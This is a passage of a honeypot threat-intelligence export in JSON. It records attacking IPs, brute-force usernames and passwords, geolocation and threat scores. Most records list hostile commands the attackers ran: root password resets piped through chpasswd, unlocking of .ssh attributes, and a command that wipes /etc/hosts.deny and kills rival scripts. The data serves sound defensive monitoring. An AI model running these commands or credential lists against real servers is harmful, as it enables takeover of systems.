        "echo \"123\\n7mL4km7zAKCy\\n7mL4km7zAKCy\\n\"|passwd",
        "echo \"root:bDQiXHQmRTLu\"|chpasswd|bash",
        "echo \"root:rdXl2q4ZRorq\"|chpasswd|bash",
        "echo -e \"12345678\\nyT6WT1yqBHot\\nyT6WT1yqBHot\"|passwd|bash",
        "echo -e \"123\\n7mL4km7zAKCy\\n7mL4km7zAKCy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:14:19.580000+00:00",
        "last_seen_30d": "2026-03-26T20:35:20.087000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 93
      }
    },
    "154.221.28.214": {
      "attack_count": 389,
      "first_seen": "2026-03-02T21:29:36.022Z",
      "last_seen": "2026-03-10T18:09:43.826Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "test2",
        "admin1",
        "antoine",
        "clawd",
        "hh",
        "kannel",
        "mehedi",
        "planka",
        "tv",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "password",
        "123",
        "123456",
        "123456.",
        "12345678",
        "Cloud@1234",
        "Mc@123456",
        "Qwe123456",
        "Qwert!2345",
        "Test12!@",
        "alireza",
        "antoine123",
        "chen1234",
        "hh123!",
        "planka123",
        "redhat",
        "reza1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\ns7T8IQcOJFBz\\ns7T8IQcOJFBz\\n\"|passwd",
        "echo \"root:KfMoFCjcmyQp\"|chpasswd|bash",
        "echo \"root:LkQ2W8W0Kwn6\"|chpasswd|bash",
        "echo \"test!123\\n6HjSzHQGKIjH\\n6HjSzHQGKIjH\\n\"|passwd",
        "echo -e \"123456\\ns7T8IQcOJFBz\\ns7T8IQcOJFBz\"|passwd|bash",
        "echo -e \"test!123\\n6HjSzHQGKIjH\\n6HjSzHQGKIjH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:29:36.022000+00:00",
        "last_seen_30d": "2026-03-10T18:10:46.879000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 389,
        "Suricata": 74
      }
    },
    "101.47.142.43": {
      "attack_count": 354,
      "first_seen": "2026-03-05T15:31:24.916Z",
      "last_seen": "2026-03-09T22:11:58.530Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "admin",
        "ubuntu",
        "mikrotik",
        "test_user",
        "boom",
        "clawd",
        "dev1",
        "gbase",
        "public",
        "rstudio",
        "sdtd",
        "user2",
        "webapp"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "123456",
        "12345678",
        "123",
        "1234",
        "12345",
        "123456aA!",
        "A1234567J",
        "Aa-2026",
        "Ab123456.",
        "Gbase123",
        "Mikrotik123!",
        "P@ssw0rd",
        "Test!2#4",
        "abc",
        "admin22",
        "boom123",
        "dev1123",
        "user2pass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "uname -a",
        "whoami",
        "echo \"12345678\\nAkGgW6o0MzJ0\\nAkGgW6o0MzJ0\\n\"|passwd",
        "echo \"123456aA!\\niJt8SYrQBK77\\niJt8SYrQBK77\\n\"|passwd",
        "echo \"Mikrotik123!\\ngb6ku61wmv3r\\ngb6ku61wmv3r\\n\"|passwd",
        "echo \"root:GsOmSitgBSCy\"|chpasswd|bash",
        "echo -e \"12345678\\nAkGgW6o0MzJ0\\nAkGgW6o0MzJ0\"|passwd|bash",
        "echo -e \"123456aA!\\niJt8SYrQBK77\\niJt8SYrQBK77\"|passwd|bash",
        "echo -e \"Mikrotik123!\\ngb6ku61wmv3r\\ngb6ku61wmv3r\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:31:24.916000+00:00",
        "last_seen_30d": "2026-03-09T22:13:01.128000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 354,
        "Suricata": 89
      }
    },
    "27.79.47.156": {
      "attack_count": 322,
      "first_seen": "2026-03-15T06:06:01.194Z",
      "last_seen": "2026-03-15T06:31:02.969Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ftp",
        "user",
        "1234",
        "ace",
        "admian",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "cisco",
        "developer",
        "george",
        "guest1",
        "helpdesk",
        "install",
        "installer",
        "joro"
      ],
      "passwords_attempted": [
        "1234",
        "password",
        "abc123",
        "admin",
        "admin123",
        "1111",
        "12345",
        "123456",
        "123456789",
        "321start",
        "72ca06",
        "P@ssw0rd",
        "abcd1234",
        "ace",
        "admin@123",
        "administrator",
        "bin",
        "cf1c22",
        "cisco",
        "click1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:06:01.194000+00:00",
        "last_seen_30d": "2026-03-15T06:32:08.931000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 322,
        "Suricata": 137
      }
    },
    "47.107.247.97": {
      "attack_count": 308,
      "first_seen": "2026-03-18T14:24:16.134Z",
      "last_seen": "2026-03-18T14:31:14.441Z",
      "sessions": 154,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 468,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:24:16.134000+00:00",
        "last_seen_30d": "2026-03-18T14:32:16.853000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 308,
        "Suricata": 160
      }
    },
    "20.187.146.251": {
      "attack_count": 281,
      "first_seen": "2026-03-11T12:06:27.634Z",
      "last_seen": "2026-03-12T09:09:35.878Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cs",
        "it",
        "root",
        "vendas",
        "alumno",
        "firewall",
        "frontend",
        "iptv",
        "mailuser",
        "n8n",
        "nuc",
        "syncuser",
        "test",
        "unity",
        "zw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123",
        "345gs5662d34",
        "vendas123",
        "1",
        "12345678",
        "Ctyun@2026",
        "It123!",
        "Zw123",
        "alumnopass",
        "cs123",
        "firewall",
        "n8n",
        "password",
        "test12345678",
        "unitypass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"It123!\\n3rhrKSyfX50w\\n3rhrKSyfX50w\\n\"|passwd",
        "echo \"cs123\\nXSeLaFobUKBp\\nXSeLaFobUKBp\\n\"|passwd",
        "echo \"root:t4HLOHfpTXPk\"|chpasswd|bash",
        "echo -e \"It123!\\n3rhrKSyfX50w\\n3rhrKSyfX50w\"|passwd|bash",
        "echo -e \"cs123\\nXSeLaFobUKBp\\nXSeLaFobUKBp\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:06:27.634000+00:00",
        "last_seen_30d": "2026-03-12T09:10:40.202000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 53
      }
    },
    "154.82.111.18": {
      "attack_count": 260,
      "first_seen": "2026-03-05T09:45:07.039Z",
      "last_seen": "2026-03-14T09:13:11.611Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ken",
        "testsftp",
        "testuser",
        "ts1",
        "webuser"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1234",
        "3245gs5662d34",
        "123",
        "@root123",
        "A123456789012",
        "A12345688",
        "AA123456@",
        "AA@2025",
        "Welcome123",
        "password",
        "qazQAZ123",
        "testuser1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nNn9gvQ4FrQQ7\\nNn9gvQ4FrQQ7\\n\"|passwd",
        "echo \"root:LcugwE6bmBkK\"|chpasswd|bash",
        "echo \"root:sOwRa544123l\"|chpasswd|bash",
        "echo -e \"123\\nNn9gvQ4FrQQ7\\nNn9gvQ4FrQQ7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 399077,
      "as_org": "Tcloudnet",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:45:07.039000+00:00",
        "last_seen_30d": "2026-03-14T09:14:17.816000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 42
      }
    },
    "5.181.124.105": {
      "attack_count": 257,
      "first_seen": "2026-03-08T23:16:39.074Z",
      "last_seen": "2026-03-08T23:49:50.483Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cockpit",
        "webapps",
        "wei",
        "andong",
        "bot",
        "dolphinscheduler",
        "mamad",
        "mobile",
        "root",
        "vas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "123",
        "1234",
        "Qq@123123",
        "dolphinscheduler123!",
        "mamad",
        "mobile123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nGpCG7X67t39p\\nGpCG7X67t39p\\n\"|passwd",
        "echo \"12345678\\ncoAjXoM4afj0\\ncoAjXoM4afj0\\n\"|passwd",
        "echo \"password\\nnqLRzUzzI7xo\\nnqLRzUzzI7xo\\n\"|passwd",
        "echo -e \"12345678\\nGpCG7X67t39p\\nGpCG7X67t39p\"|passwd|bash",
        "echo -e \"12345678\\ncoAjXoM4afj0\\ncoAjXoM4afj0\"|passwd|bash",
        "echo -e \"password\\nnqLRzUzzI7xo\\nnqLRzUzzI7xo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:16:39.074000+00:00",
        "last_seen_30d": "2026-03-08T23:50:53.128000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 39
      }
    },
    "45.232.73.84": {
      "attack_count": 256,
      "first_seen": "2026-03-23T23:15:02.261Z",
      "last_seen": "2026-03-23T23:35:42.225Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "maks",
        "svn",
        "dls",
        "ftb",
        "prashant",
        "team1",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Aa147258!",
        "Abc@123123",
        "Test.123",
        "ftb",
        "password",
        "svn123",
        "user1123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nGAbbXPPtRMhS\\nGAbbXPPtRMhS\\n\"|passwd",
        "echo \"root:JknZgIRIeZiA\"|chpasswd|bash",
        "echo \"svn123\\nyxXUcWCMZsta\\nyxXUcWCMZsta\\n\"|passwd",
        "echo -e \"12345\\nGAbbXPPtRMhS\\nGAbbXPPtRMhS\"|passwd|bash",
        "echo -e \"svn123\\nyxXUcWCMZsta\\nyxXUcWCMZsta\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Londrina",
      "asn": 267251,
      "as_org": "TELEFONARNET TELECOMUNICACOES",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:15:02.261000+00:00",
        "last_seen_30d": "2026-03-23T23:36:48.081000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 36
      }
    },
    "118.194.230.231": {
      "attack_count": 197,
      "first_seen": "2026-03-06T11:35:05.896Z",
      "last_seen": "2026-03-06T12:04:11.527Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dario",
        "ttx",
        "alice",
        "f",
        "grid",
        "i",
        "intell",
        "shyam",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "@qwer2024",
        "@qwer2025",
        "Alice123!",
        "F123!",
        "I123",
        "Intell123!",
        "grid1234",
        "shyam123!",
        "ttx",
        "ttx123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n5rzVa7V8uG6t\\n5rzVa7V8uG6t\\n\"|passwd",
        "echo \"root:YrtxT2guTuLU\"|chpasswd|bash",
        "echo -e \"123456\\n5rzVa7V8uG6t\\n5rzVa7V8uG6t\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:35:05.896000+00:00",
        "last_seen_30d": "2026-03-06T12:05:16.618000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 37
      }
    },
    "103.176.79.139": {
      "attack_count": 193,
      "first_seen": "2026-03-21T15:00:10.902Z",
      "last_seen": "2026-03-21T15:35:20.115Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "min",
        "tigergraph",
        "bbb",
        "iksi",
        "meng",
        "player",
        "root",
        "silva",
        "ubuntu",
        "vnc",
        "wei"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "Test123",
        "Vnc123!",
        "Vps@2025",
        "mengpass",
        "wei1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n5wocVRg5oL8o\\n5wocVRg5oL8o\\n\"|passwd",
        "echo \"12345\\ndYeKRoavCoI5\\ndYeKRoavCoI5\\n\"|passwd",
        "echo -e \"12345678\\n5wocVRg5oL8o\\n5wocVRg5oL8o\"|passwd|bash",
        "echo -e \"12345\\ndYeKRoavCoI5\\ndYeKRoavCoI5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T15:00:10.902000+00:00",
        "last_seen_30d": "2026-03-21T15:36:27.375000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 36
      }
    },
    "183.91.11.36": {
      "attack_count": 191,
      "first_seen": "2026-03-03T18:36:59.010Z",
      "last_seen": "2026-03-28T23:47:44.917Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rootroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!1ASDqweasdqwe",
        "12345678x",
        "7ujm8ik,",
        "Admin1@123",
        "Jf@123456",
        "Mm@123456",
        "Root123#",
        "Test4321",
        "Z123456789",
        "abc1234",
        "admin321",
        "bios",
        "chinaidc2026",
        "cooper",
        "dante",
        "jingdong",
        "juan",
        "ngf1r3wall"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YpCeBAJsecHx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 26,
